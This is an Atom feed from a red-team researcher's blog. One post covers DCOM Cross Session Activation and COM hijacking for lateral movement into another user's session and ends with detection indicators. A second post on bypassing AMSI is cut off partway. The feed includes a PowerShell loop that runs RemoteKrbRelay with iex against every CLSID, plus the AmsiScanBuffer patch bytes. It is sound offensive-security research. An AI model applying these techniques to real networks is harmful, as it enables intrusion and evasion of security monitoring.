<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://s3cur3th1ssh1t.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://s3cur3th1ssh1t.github.io/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-05-02T13:30:05+00:00</updated><id>https://s3cur3th1ssh1t.github.io/feed.xml</id><title type="html">S3cur3Th1sSh1t</title><subtitle>S3cur3Th1sSh1t</subtitle><author><name>S3cur3Th1sSh1t</name></author><entry><title type="html">Revisiting Cross Session Activation Attacks</title><link href="https://s3cur3th1ssh1t.github.io/Revisiting_Cross_Session_Activation_Attacks/" rel="alternate" type="text/html" title="Revisiting Cross Session Activation Attacks" /><published>2025-07-08T00:00:00+00:00</published><updated>2025-07-08T00:00:00+00:00</updated><id>https://s3cur3th1ssh1t.github.io/Revisiting_Cross_Session_Activation_Attacks</id><content type="html" xml:base="https://s3cur3th1ssh1t.github.io/Revisiting_Cross_Session_Activation_Attacks/"><![CDATA[<p>The number of Lateral Movement techniques that an attacker can use in an Active Directory environment is limited. The most well-known techniques for executing code on a remote system with administrative privileges are as follows:</p>

<!--more-->

<p>This blog post was written and published on my employer’s website, where it can be found here:</p>

<ul>
  <li><a href="https://www.r-tec.net/r-tec-blog-revisiting-cross-session-activation-attacks.html">https://www.r-tec.net/r-tec-blog-revisiting-cross-session-activation-attacks.html</a></li>
</ul>

<h2 id="introduction">Introduction</h2>

<ul>
  <li><a href="https://attack.mitre.org/techniques/T1047/">WMI</a>, e.G. <a href="https://github.com/fortra/impacket/blob/master/examples/wmiexec.py">wmiexec.py</a></li>
  <li><a href="https://attack.mitre.org/techniques/T1543/003/">Remote Service Creation or Modification</a>, e.G. <a href="https://github.com/fortra/impacket/blob/master/examples/smbexec.py">smbexec.py</a></li>
  <li><a href="https://attack.mitre.org/techniques/T1021/006/">WinRM</a>, e.G. <a href="https://github.com/Hackplayers/evil-winrm">EvilWinRM</a></li>
  <li><a href="https://attack.mitre.org/techniques/T1053/">Remote Scheduled Task Creation</a>, e.G. <a href="https://github.com/fortra/impacket/blob/master/examples/atexec.py">atexec.py</a></li>
</ul>

<p>These techniques are well documented in terms of both network-based and endpoint-based indicators of compromise (IoCs). Therefore, if <code class="language-plaintext highlighter-rouge">cmd.exe /C</code> is called via any of these techniques, or if an unsigned executable is run remotely, the attacker will likely already trigger an alert in monitored environments. Of course, these IoCs can be removed, and we can ensure that only signed binaries are executed using a <a href="https://www.r-tec.net/r-tec-blog-dll-sideloading.html">Sideloading DLL for example</a>, but having stealthier alternatives is always a good option.</p>

<p>There are also some well-known Lateral Movement techniques that use DCOM such as <code class="language-plaintext highlighter-rouge">MMC20.Application</code> or <code class="language-plaintext highlighter-rouge">ShellWindows</code> implemented in <a href="https://github.com/fortra/impacket/blob/master/examples/dcomexec.py">dcomexec.py</a>. However, these usually only work on client systems or older Windows Server versions, as can be seen in the comments already:</p>

<p align="center">
          <img src="/assets/posts/CrossSessionActivation/Figure-01-Lateral_Movement_20250403083456.png" />
</p>

<p>In terms of IoCs, these techniques are also more likely to be detected as it is well known that processes spawn new ones, which is uncommon and relatively easy to spot as an anomaly from the defender’s perspective.</p>

<h2 id="1-the-classic-way-to-find-dcom-code-execution-vectors">1. The classic way to find DCOM code execution vectors</h2>

<p>On the protocol level, the options for code execution are limited. But when the execution primitive is changed to DCOM, the IoCs and behaviour for code execution will differ a lot when different classes are used. So this is a good field to search for new execution primitives. Each version of Windows uses several default COM Objects, which are uniquely identified by their CLSID. Tools such as <a href="https://github.com/tyranid/oleviewdotnet">oleviewdotnet</a> provide a convenient way to get an overview of the CLSIDs used on a given system:</p>

<p align="center">
          <img src="/assets/posts/CrossSessionActivation/Figure-02-CLSID_20250403092023.png" />
</p>

<p>In this example, there is <strong>11676</strong> different CLSIDs are registered. Expanding the view on one of these CLSIDs, in this case the <code class="language-plaintext highlighter-rouge">MSTSWebProxy Class</code>, we can see the exposed <em>Interface Identifiers</em> - IID, and their names:</p>

<p align="center">
          <img src="/assets/posts/CrossSessionActivation/Figure-03-IID_20250403092317.png" />
</p>

<p>In some cases, you can create an instance of this CLSID directly from within OleView.NET. However, this is often not possible, and you need to invoke them manually with the corresponding code:</p>

<p align="center">
          <img src="/assets/posts/CrossSessionActivation/Figure-04-create_instance_20250403092611.png" />
</p>

<p>If the <code class="language-plaintext highlighter-rouge">Viewer</code> displays <code class="language-plaintext highlighter-rouge">Yes</code>, the functions can also be invoked from this instance directly within OleView.NET:</p>

<p align="center">
          <img src="/assets/posts/CrossSessionActivation/Figure-05-OleView_20250403092728.png" />
</p>

<p>To view and modify the input parameters, simply double-click on the function of your choice:</p>

<p align="center">
          <img src="/assets/posts/CrossSessionActivation/Figure-06-OleView_2_20250403092934.png" />
</p>

<p>After entering your chosen arguments, click Invoke to execute the function with the provided input arguments. Did we just open an <code class="language-plaintext highlighter-rouge">.RDP</code> file in an <code class="language-plaintext highlighter-rouge">mstsc.exe</code> process?</p>

<p align="center">
          <img src="/assets/posts/CrossSessionActivation/Figure-07-RDP_file_20250403093214.png" />
</p>

<p>If this interface can be activated remotely and you have the necessary permissions, this could be considered a new DCOM code execution vector. An attacker could replace <code class="language-plaintext highlighter-rouge">C:\Windows\System32\mstsc.exe</code> with an arbitrary executable via <code class="language-plaintext highlighter-rouge">C$</code> from a remote location and launch it using this function. However, I would not recommend doing this in a real-world project, as removing or replacing built-in Windows binaries can always lead to disruption! Usually, all CLSIDs either spawn an executable on the remote system where the code is hosted, or load a DLL into existing processes such as for example <code class="language-plaintext highlighter-rouge">svchost.exe</code>. Therefore, replacement of executables is possible with many of them. The MSTSWebProxy class was just chosen here to demonstrate the overall process for an analysis.</p>

<p>But this approach looks simple in general, right? You should think again.</p>

<p align="center">
          <img src="/assets/posts/CrossSessionActivation/Thinking.gif" />
</p>

<ol>
  <li>There are more than 11,000 CLSIDs, and most of them have multiple IIDs. Taking this approach for all of them would take months.</li>
  <li>In many cases, it is not possible to create an instance via the GUI; you need to invoke each CLSID/IID and their functions with custom code.</li>
  <li>Often, the IIDs and their functions are not officially documented or visible at all. However, using the <code class="language-plaintext highlighter-rouge">View Proxy Definition</code> option when right-clicking on an IID will at least provide skeleton code showing how to call the function in many cases.</li>
</ol>

<p align="center">
          <img src="/assets/posts/CrossSessionActivation/Figure-08-View_Proxy_Definition_20250403094110.png" />
</p>

<ol>
  <li>However, as each IID has a different definition, automating this approach to fuzz interfaces is complex.</li>
  <li>Permissions are also important. In the best case, you might be able to spawn a process or control what is spawned with input parameters. However, if you cannot create an instance or invoke a function remotely, this cannot be used for Lateral Movement.</li>
  <li>The blackbox/fuzzing approach is not sufficient. At some point you need to start reversing the code to find out what happens under the hood and to find code execution vectors.</li>
</ol>

<p>However, multiple companies have published research in recent years on upcoming DCOM lateral movement techniques, such as the following:</p>

<ul>
  <li><a href="https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922">https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922</a></li>
  <li><a href="https://www.ibm.com/think/news/fileless-lateral-movement-trapped-com-objects">https://www.ibm.com/think/news/fileless-lateral-movement-trapped-com-objects</a></li>
  <li><a href="https://www.deepinstinct.com/blog/forget-psexec-dcom-upload-execute-backdoor">https://www.deepinstinct.com/blog/forget-psexec-dcom-upload-execute-backdoor</a></li>
</ul>

<p>The complexity of these publications and the research behind it shows, that there is not many “low hanging fruits” in the field of DCOM Lateral Movement anymore, and that it is necessary to dig deeper into the exposed functions and consider what they are capable of and how they could be abused.</p>

<p>An alternative to exploiting COM object functionalities is to plant DLLs on the remote system so that they are loaded by the COM object hosting executable, as discussed in this <a href="https://www.mdsec.co.uk/2020/10/i-live-to-move-it-windows-lateral-movement-part-3-dll-hijacking/">MDSec Blog Post</a>. Further executable/DLL combinations were later published <a href="https://github.com/WKL-Sec/dcomhijack">here</a>. Finding new executable/DLL combinations is not a that complex task here and would lead to stealthier execution, especially if they had not been published before. However, execution using these public techniques will be done in the context of the user connecting to the remote system.</p>

<h2 id="2-introduction-in-cross-session-activation-attacks">2. Introduction in Cross Session Activation attacks</h2>

<p>When you search for <em>Cross Session Activation</em>, you’ll find the official <a href="https://learn.microsoft.com/en-us/windows/win32/termserv/session-to-session-activation-with-a-session-moniker">Microsoft documentation</a> about <em>Session-to-Session Activation with a Session Moniker</em>. But even if you are allowed to create an instance in the session of another user, attacks are restricted to the exposed functionalities from the COM Class. So this is not what we are talking about here. Instead, most of the tools published and described later use the following Windows API combination to launch COM instances in the context of another user:</p>

<ol>
  <li>Use <code class="language-plaintext highlighter-rouge">CoCreateInstance</code> to create a COM Object for the target class</li>
  <li>Call <code class="language-plaintext highlighter-rouge">QueryInterface (ISpecialSystemProperties)</code> on the retrieved interface pointer</li>
  <li>Set Session ID via <code class="language-plaintext highlighter-rouge">SetSessionId</code> on the retrieved <code class="language-plaintext highlighter-rouge">SpecialSystemProperties</code> (not documented by Microsoft anymore)</li>
  <li>Call <code class="language-plaintext highlighter-rouge">StandardGetInstanceFromIStorage</code> on the interface pointer (not documented by Microsoft anymore)</li>
</ol>

<p>The prerequisites for this technique to work are the following:</p>

<ol>
  <li>The COM Class needs to be run as the <code class="language-plaintext highlighter-rouge">INTERACTIVE USER</code></li>
  <li>Access and launch permissions need to be there for the launching user</li>
</ol>

<p>The last step can trigger NTLM/Kerberos authentication to an attacker defined host in the context of another user, which can be abused via cracking the <code class="language-plaintext highlighter-rouge">NetNTLMv2</code>/<code class="language-plaintext highlighter-rouge">NetNTLMv1</code> hash or for relaying purposes.</p>

<p>The NTLM reflection for local Privilege Escalation was originally found by James Forshaw in 2014 <a href="https://project-zero.issues.chromium.org/issues/42451808">here</a>. Antonio Cocomazzi and Andrea Pierini created the first Proof of Concept tool Remotepotat0 and published their blog post <a href="https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/">Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocol</a> in 2021, which explains the abuse for scenarios where multiple users are logged on a system. James Forshaw one day later described in his Blogpost <a href="https://www.tiraniddo.dev/2021/04/standard-activating-yourself-to.html">Standard Activating Yourself to Greatness</a> how to do the same for DCOM. For a more in depth explanation it’s recommended to read these publications.</p>

<h2 id="3-introducing-cross-session-activation-dcom-lateral-movement">3. Introducing Cross Session Activation DCOM Lateral Movement</h2>

<p>Until now, Cross-Session Activation attacks were mainly used for privilege escalation purposes, with publications and tools such as:</p>

<ul>
  <li><a href="https://github.com/antonioCoco/RemotePotato0">RemotePotat0</a></li>
  <li><a href="https://blog.compass-security.com/2024/10/com-cross-session-activation/">Chrome Updater EoP</a></li>
  <li><a href="https://decoder.cloud/2024/08/02/the-fake-potato/">Explorer EoP</a></li>
  <li><a href="https://github.com/cube0x0/KrbRelay">KrbRelay</a></li>
  <li><a href="https://i.blackhat.com/Asia-24/Presentations/Asia-24-Ding-CertifiedDCOM-The-Privilege-Escalation-Journey-to-Domain-Admin.pdf">CertifiedDCOM</a></li>
  <li><a href="https://github.com/decoder-it/ADCSCoercePotato">ADCSCoercePotato</a></li>
  <li><a href="https://decoder.cloud/2024/04/24/hello-im-your-domain-admin-and-i-want-to-authenticate-against-you/">Silverpotato</a></li>
  <li><a href="https://github.com/CICADA8-Research/RemoteKrbRelay">RemoteKrbRelay</a></li>
</ul>

<p>Whereas the first publications were all focussed on abusing Interactive authentication COM objects locally after authentication, the last four publications introduced the remote attack surface of Cross Session Activation attacks. A really good blogpost by my colleague Nico Viakowski describes which of these publications are still exploitable today:</p>

<p><a href="https://www.r-tec.net/r-tec-blog-windows-is-and-always-will-be-a-potatoland.html">https://www.r-tec.net/r-tec-blog-windows-is-and-always-will-be-a-potatoland.html</a></p>

<p>My initial objective in this area of research was to identify a new CLSID that could be launched by a low-privileged user for privilege escalation purposes. Rather than manually checking all the COM object permissions, I took a brute-force approach using different Windows systems to see whether any incoming authentication could be triggered remotely with this simple PowerShell script:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Get all CLSIDs from the system registry</span><span class="w">
</span><span class="nv">$clsidPath</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"Registry::HKEY_CLASSES_ROOT\CLSID"</span><span class="w">
</span><span class="nv">$clsids</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-Childitem</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nv">$clsidPath</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Select-Object</span><span class="w"> </span><span class="nt">-ExpandProperty</span><span class="w"> </span><span class="nx">PSChildName</span><span class="w">

</span><span class="c"># Loop through all of them</span><span class="w">
</span><span class="kr">foreach</span><span class="w"> </span><span class="p">(</span><span class="nv">$clsid</span><span class="w"> </span><span class="kr">in</span><span class="w"> </span><span class="nv">$clsids</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="c"># Remove curly braces</span><span class="w">
    </span><span class="nv">$cleanClsid</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$clsid</span><span class="w"> </span><span class="o">-replace</span><span class="w"> </span><span class="s2">"[{}]"</span><span class="p">,</span><span class="w"> </span><span class="s2">""</span><span class="w">
    </span><span class="nv">$command</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"RemoteKrbRelay.exe -victim srv01.domain -target srv02.domain -clsid </span><span class="nv">$cleanClsid</span><span class="s2"> -session 1 -smb -console -v --smbkeyword interactive"</span><span class="w">

    </span><span class="n">iex</span><span class="p">(</span><span class="nv">$command</span><span class="p">)</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">RemoteKrbRelay</code> was the best tool of choice here, because it can trigger authentications from a remote systems session and also directly relay those to for example SMB if possible. But it turned out, that not a single CLSID could be abused here to trigger authentications from a low privileged users perspective.</p>

<p align="center">
          <img src="/assets/posts/CrossSessionActivation/Ehh_No.gif" />
</p>

<p>I was wondering - what could an attacker with administrative privileges and Cross Session Activation do instead? In our projects, we often target specific systems with active sessions for Lateral Movement or Credential Theft. Imagine we have the following scenario and are one step ahead from getting domain administrator privileges:</p>

<p align="center">
          <img src="/assets/posts/CrossSessionActivation/Figure-09-scenario_20250702095929.png" />
</p>

<p>After executing code on that system, we typically run as SYSTEM or in the context of our own user account. This means that we usually need to dump credentials, impersonate the other user session, inject into one of its processes, or do whatever else is necessary to take over the targeted account. What if we had a lateral movement technique that allowed us to execute code in the context of an already-established interactive user session? Even better, what if we could do that via a lesser-known DCOM RPC call instead of using WMI, WinRM, or similar? These were the next goals of the research here!</p>

<p align="center">
          <img src="/assets/posts/CrossSessionActivation/Exciting.gif" />
</p>

<p>Inspired by the tool <a href="https://github.com/CICADA8-Research/COMThanasia/tree/main/PermissionHunter/PermissionHunter">PermissionHunter</a>, which has useful filter options, this was first used for the initial enumeration of potentially interesting target CLSIDs. We can easily filter the more than 11.000 CLSIDs to get a smaller list for this specific use case. We filter RunAs <em>Interactive User</em>, LaunchPrincipal <em>Everyone or Administrator or Empty</em>, RemoteActivation and Launch or empty, and obtain the following result:</p>

<p align="center">
          <img src="/assets/posts/CrossSessionActivation/Figure-10-Interactive_User_20250403115133.png" />
</p>

<p>The result here was 86 unique CLSIDs - that’s something we can work with! Why adding empty in the filter? If the LaunchPrincipal or other settings are not explicitly defined, COM will adhere to the default permissions, whereby Administrators can remotely launch or invoke the objects by default.</p>

<p>Instead of searching for code execution vectors directly, I tried getting the <code class="language-plaintext highlighter-rouge">NetNTLMv2</code> hashes from remotely logged in users first with the CLSIDs found. It turned out that this is indeed possible with administrative privileges, but public tools don’t yet fully support this attack vector. I therefore slightly modified <em>potato.py</em> and <code class="language-plaintext highlighter-rouge">RemoteKrbRelay</code> via pull requests:</p>

<ul>
  <li><a href="https://github.com/sploutchy/impacket/pull/3">https://github.com/sploutchy/impacket/pull/3</a></li>
  <li><a href="https://github.com/rtecCyberSec/RemoteKrbRelay/tree/ntlm">https://github.com/rtecCyberSec/RemoteKrbRelay/tree/ntlm</a></li>
</ul>

<p>As IBM <a href="https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions">published</a> a very similar technique in April - but had a much cooler implementation which also allows relaying and <code class="language-plaintext highlighter-rouge">NetNTLMv1</code> downgrade - those information were spontaneously published on Twitter before this blog post:</p>

<p><a href="https://x.com/ShitSecure/status/1909865929472639357">https://x.com/ShitSecure/status/1909865929472639357</a></p>

<h3 id="checking-for-code-execution-instead">Checking for code Execution instead</h3>

<p>In order to test for new CLSID/COM objects that can be invoked remotely for code execution, we need to prepare some tools. The tools I used were:</p>

<ul>
  <li>OLEView .NET / <a href="https://github.com/tyranid/oleviewdotnet">https://github.com/tyranid/oleviewdotnet</a></li>
  <li>IDA Free / Ghidra</li>
  <li>ProcessMonitor / <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/procmon">https://learn.microsoft.com/en-us/sysinternals/downloads/procmon</a></li>
</ul>

<p>What was the initial approach for finding execution primitives?</p>

<ol>
  <li>Finding the hosting binary or DLL for each CLSID.</li>
  <li>Check the exposed IID’s via OleView.NET.</li>
  <li>Throw the DLLs/Executables into IDA to check what the functions are doing.
    <ul>
      <li>Look for low hanging fruits such as <code class="language-plaintext highlighter-rouge">ShellExecuteW</code> or similar.</li>
    </ul>
  </li>
</ol>

<p>After many hours, lots of interesting functions had been found, but no direct code execution primitive. One CLSID stood out as the perfect candidate at first glance: <code class="language-plaintext highlighter-rouge">AB93B6F1-BE76-4185-A488-A9001B105B94</code>, the <code class="language-plaintext highlighter-rouge">BDEUILauncher class</code>. The code-hosting executable is <code class="language-plaintext highlighter-rouge">BdeUISrv.exe</code>, and when we checked the available functions, one stood out:</p>

<p align="center">
          <img src="/assets/posts/CrossSessionActivation/Figure-11-Functions_20250403121747.png" />
</p>

<p><code class="language-plaintext highlighter-rouge">ProcessStart</code> with <code class="language-plaintext highlighter-rouge">ushort *</code> as input argument?</p>

<p align="center">
          <img src="/assets/posts/CrossSessionActivation/MoreExciting.gif" />
</p>

<p>Upon examining what the function was doing, it appeared that this function was indeed spawning a new process:</p>

<p align="center">
          <img src="/assets/posts/CrossSessionActivation/Figure-12-spawning_new_process_20250403122015.png" />
</p>

<p>At this point I reached out to my colleague <a href="https://x.com/eversinc33">eversinc33</a>, as he had way more experience in reversing than myself to verify if this can be abused for code execution.</p>

<p>When he joined the analysis, it quickly became clear that the first input parameter — an integer — determines which executable is spawned by <code class="language-plaintext highlighter-rouge">ShellExecuteW</code>. Unfortunately for us, this was not user-controlled, but one of four hardcoded executables.</p>

<p align="center">
          <img src="/assets/posts/CrossSessionActivation/Figure-13-hardcoded_executables_20250403122440.png" />
</p>

<p>As many hours of reversing different classes without success had passed we decided to step back and to think about alternatives to abusing existing functionalities from the COM classes.</p>

<h3 id="com-hijacking-for-the-win">COM Hijacking for the win</h3>

<p>We already know, that when a COM object is invoked, it’s <strong>executable is getting spawned</strong>, because it in the very end provides the code for our function. When using Cross Session Activation, we can spawn that process <strong>in the context of an already logged on user</strong>, right? And we can even specify the exact Session by ourself via Cross Session Activation.</p>

<p>A recent read about <a href="https://www.blackhillsinfosec.com/a-different-take-on-dll-hijacking/">COM Hijacking by Matthew Eidelberg</a> brought us the idea - we can COM hijack the remote registry of our target user, so that our newly spawned process will load a DLL of our choice. If you are not familiar with COM Hijacking already, this blog post is highly recommended to read!</p>

<p>After starting ProcessMonitor and setting up filters for our process, it was clear that this is indeed exploitable for the previously mentioned <code class="language-plaintext highlighter-rouge">BDEUILauncher Class</code>:</p>

<p align="center">
          <img src="/assets/posts/CrossSessionActivation/Figure-14-indeed_exploitable_20250403123338.png" />
</p>

<p>In this case if <code class="language-plaintext highlighter-rouge">BaaUpdate.exe</code> is spawned with two input parameters (and we can influence the input parameters via the <code class="language-plaintext highlighter-rouge">ushort</code> input parameter), it tries to load non existent CLSID entries from <code class="language-plaintext highlighter-rouge">HKCU</code>.</p>

<p>Weaponization from this point on was relatively straight forward:</p>

<ol>
  <li>Plant a DLL on the target system via <code class="language-plaintext highlighter-rouge">C$</code> or <code class="language-plaintext highlighter-rouge">admin$</code></li>
  <li>COM Hijack the target user via the Remote Registry</li>
  <li>Execute <code class="language-plaintext highlighter-rouge">BaaUpdate.exe</code> via <code class="language-plaintext highlighter-rouge">BDEUILauncher Class</code> in the context of our target user</li>
  <li>Remove the COM Hijack</li>
  <li>Cleanup the DLL</li>
</ol>

<p>The PoC for this technique is published on our Github page <a href="https://github.com/rtecCyberSec/BitlockMove/">BitlockMove</a>. This PoC has a few drawbacks:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">BDEUILauncher Class</code> is in the very end related to Bitlocker. Bitlocker is mainly available on Clients. You can therefore only use this PoC to execute code on systems with Bitlocker available.</li>
  <li>The DLL which will get dropped on the target system is hardcoded to execute user defined commands. This enables the Operator to define which exact process is getting spawned, but it OPSec wise not the best idea and easier to detect. Living in the newly spawned process would be stealthier from our perspective, so you need to bring your own DLL in the best case.</li>
</ul>

<p>It also turned out, that we did not need to use Cross Session Authentication by using <code class="language-plaintext highlighter-rouge">SetSessionID</code> on <code class="language-plaintext highlighter-rouge">ISpecialSystemProperties</code>, as client systems usually always have only one active session. And even without explicitly specifying the target users session, the process will always be spawned in the context of the <code class="language-plaintext highlighter-rouge">Interactive User</code>, which is always the logged on user.</p>

<p>However, we found multiple more abusable CLSIDs in a short amount of time here, which also work on server systems and where setting the target users session is needed. Shortly after the BitlockMove publication AlmondOffsec published one alternative already with their tool release <a href="https://github.com/AlmondOffSec/DCOMRunAs">DCOMRunas</a>.</p>

<p>Initially we wanted to leave the exercise to the reader to find more alternative CLSIDs. However to demonstrate how easy this technique can be adapted to many other CLSIDs which are configured to be run as <code class="language-plaintext highlighter-rouge">INTERACTIVE USER</code>, we are also releasing another PoC with this blog post, which also works on common Windows Server versions:</p>

<p><a href="https://github.com/rtecCyberSec/SpeechRuntimeMove">https://github.com/rtecCyberSec/SpeechRuntimeMove</a></p>

<p>Whenever an instance of <code class="language-plaintext highlighter-rouge">38FE8DFE-B129-452B-A215-119382B89E3D - Speech Named Pipe COM</code> is created, <code class="language-plaintext highlighter-rouge">SpeechRuntimeBroker.exe</code> is spawned within the context of an active session defined by the attacker. As this is also vulnerable to COM Hijacking, we can load our malicious DLL into this process for Lateral Movement.</p>

<h2 id="4-detection">4. Detection</h2>

<p>The following events can be seen when any of the released PoC’s is executed:</p>

<ul>
  <li>SMB Logon &amp; Share Access (Security 4624, Type 3 Logon &amp; Security 5140 Network Share Access)</li>
  <li>COM Hijack (Security 4663 An attempt was made to access an object, Security 4657 A registry value was modified)</li>
  <li>Process Creation (Security 4688 A new process has been created)</li>
</ul>

<p>Registry Key modifications:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">HKCU\SOFTWARE\Classes\CLSID\{896C2B1D-3586-4FA5-B419-41F4A6D38CF1}\InProcServer32</code> (BitLockMove)</li>
  <li><code class="language-plaintext highlighter-rouge">HKCU\SOFTWARE\Classes\CLSID\{655D9BF9-3876-43D0-B6E8-C83C1224154C}\InProcServer32</code> (SpeechRuntimeMove)</li>
</ul>

<p>Suspicious child process is getting spawned + unexpected DLL load events:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">BaaUpdate.exe</code></li>
  <li><code class="language-plaintext highlighter-rouge">SpeechRuntimeBroker.exe</code></li>
</ul>

<h2 id="5-conclusion">5. Conclusion</h2>

<p>Code can be executed on remote systems with administrative privileges via various techniques. However, many of the most well-known techniques and tools lead to alerts in monitored environments because of their IoCs, so they should not be used if detection is to be avoided.</p>

<p>Although DCOM Lateral Movement techniques have been well researched, new vectors are regularly published, as the attack surface here is huge and it is possible to dig deep.</p>

<p>Cross-Session Activation has mainly been used for privilege escalation purposes so far. However, with administrative privileges, it is also possible to execute code on a remote system in the context of an actively logged-in user. From an attacker’s perspective, this also has the advantage that we can leave out IoCs for injection, impersonation or credential dumping, as we can directly execute code in the context of our target user.</p>

<p>COM Hijacking makes this new Lateral Movement vector easy to find and abuse, but can also get detected accurately with targeted rule sets.</p>

<hr />

<p><em>This blog post was originally published on <a href="https://www.r-tec.net/r-tec-blog-revisiting-cross-session-activation-attacks.html">r-tec.net</a>.</em></p>]]></content><author><name>S3cur3Th1sSh1t</name></author><summary type="html"><![CDATA[The number of Lateral Movement techniques that an attacker can use in an Active Directory environment is limited. The most well-known techniques for executing code on a remote system with administrative privileges are as follows:]]></summary></entry><entry><title type="html">Bypass AMSI in 2025</title><link href="https://s3cur3th1ssh1t.github.io/Bypass_AMSI_in_2025/" rel="alternate" type="text/html" title="Bypass AMSI in 2025" /><published>2025-02-05T00:00:00+00:00</published><updated>2025-02-05T00:00:00+00:00</updated><id>https://s3cur3th1ssh1t.github.io/Bypass_AMSI_in_2025</id><content type="html" xml:base="https://s3cur3th1ssh1t.github.io/Bypass_AMSI_in_2025/"><![CDATA[<p>More than four years have passed since I wrote my first blog posts about bypassing the Antimalware Scan Interface (AMSI) via manual modification and the difference between Powershell and .NET-specific bypasses:</p>

<!--more-->

<p>This blog post was written and published on my employer’s website, where it can be found here:</p>

<ul>
  <li><a href="https://www.r-tec.net/r-tec-blog-bypass-amsi-in-2025.html">https://www.r-tec.net/r-tec-blog-bypass-amsi-in-2025.html</a></li>
</ul>

<h2 id="1-when-is-amsi-bypassing-needed-at-all">1. When is AMSI bypassing needed at all?</h2>

<p>Although AMSI has been analysed and described in many papers and tools, I’m still surprised to see so much confusion and misunderstanding in the community. For example, a lot of shellcode loaders were published on GitHub that do nothing more than shellcode execution. But the README also states that it contains an AMSI bypass, and that’s why it’s never detected. So there is a lot of misunderstanding, at least on GitHub or social networks, which may confuse more and more people out there.</p>

<p>When do we really need to use an AMSI bypass? At least for shellcode execution - we don’t. AMSI, as I wrote in my blog more than four years ago, is primarily used to analyse scripting languages and .NET managed code at runtime, such as</p>

<ul>
  <li>Powershell</li>
  <li>VBS</li>
  <li>Javascript</li>
  <li>VBA macros</li>
  <li>C# assemblies</li>
</ul>

<p>So if you are using a Command &amp; Control Framework’s payload and are mainly running BOF’s or COFF’s from there, you will never need to bypass AMSI at all. If you do implement a bypass in your loader, you will only increase the IoCs and the likelihood of being detected by that bypass attempt. It’s always better to leave out bypasses unless you really need them!</p>

<p>On the other hand, if you want to run <strong>known malicious</strong> and <strong>unobfuscated</strong> public tools, e.G. from GitHub in any of the above languages, or reuse code from them in your own tools, you will need to bypass AMSI to get those tools to run. Are you going to execute GitHub Scripts via <code class="language-plaintext highlighter-rouge">Invoke-Expression</code> in Powershell? Are you loading a .NET assembly via <code class="language-plaintext highlighter-rouge">assembly::load()</code>? Creating malicious office macros? Loading Scripts into memory via <code class="language-plaintext highlighter-rouge">mshta.exe</code>, <code class="language-plaintext highlighter-rouge">cscript.exe</code>? or <code class="language-plaintext highlighter-rouge">wscript.exe</code>? You will likely need an AMSI bypass.</p>

<h2 id="2-how-amsi-works---and-how-to-get-around-it">2. How AMSI works - and how to get around it</h2>

<p>AMSI is mostly signature-based detection. The main difference to <em>classic</em> signature-based detections is that these signatures are looked for at runtime, whenever something potentially malicious is loaded <strong>from memory</strong>. AMSI by architecture also doesn’t trigger a scan at all at certain points when something is loaded <strong>from disk</strong> into memory, as recently pointed out by <a href="https://securityintelligence.com/x-force/being-a-good-clr-host-modernizing-offensive-net-tradecraft/">IBM X-Force Red</a>.</p>

<p>What might AMSI signatures look like? They can be simple strings like <code class="language-plaintext highlighter-rouge">Invoke-Mimikatz</code>, but also byte arrays like the bytes used for the classic <code class="language-plaintext highlighter-rouge">AmsiScanBuffer</code> patch:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">Byte</span><span class="p">[]]</span><span class="w"> </span><span class="p">(</span><span class="mi">0</span><span class="n">xB8</span><span class="p">,</span><span class="w"> </span><span class="nx">0x57</span><span class="p">,</span><span class="w"> </span><span class="nx">0x00</span><span class="p">,</span><span class="w"> </span><span class="nx">0x07</span><span class="p">,</span><span class="w"> </span><span class="nx">0x80</span><span class="p">,</span><span class="w"> </span><span class="nx">0xC3</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>

<p>For C# assemblies, this can be specific HEX bytes, but in my experience AMSI also uses some kind of Yara rules - or at least regular expressions. But if AMSI is about signatures, this also means that we can always get around it by modifying the code. If you change the code so that the signature doesn’t apply, you can bypass AMSI. As “simple” as that, although signatures are sometimes difficult to find out.</p>

<p>The alternative to bypassing AMSI detection is to somehow break functionality within <code class="language-plaintext highlighter-rouge">amsi.dll</code> or other libraries involved in the scanning process, or to prevent the DLL from loading at all. This is what almost all publicly documented bypasses are about. They differ mainly in the technique used to break the functionality, such as</p>

<ul>
  <li>Patching the memory region (also includes hooks from my perspective)</li>
  <li>Using vectored exception handlers and e.g. hardware breakpoints to manipulate the workflow</li>
  <li>Spawning a new process and preventing one of the relevant DLLs from loading in various ways</li>
  <li>Prevent one of the relevant DLLs from being loaded before the CLR is started and/or AMSI is initialised</li>
</ul>

<p>These things are usually done at runtime. IoCs, and therefore detection of these bypasses, rely on:</p>

<ul>
  <li>Signatures for the bypass code, or</li>
  <li>Runtime detections such as userland hooks, ETWti or memory scans.</li>
</ul>

<h2 id="3-the-downside-of-using-public-obfuscators">3. The downside of using public obfuscators</h2>

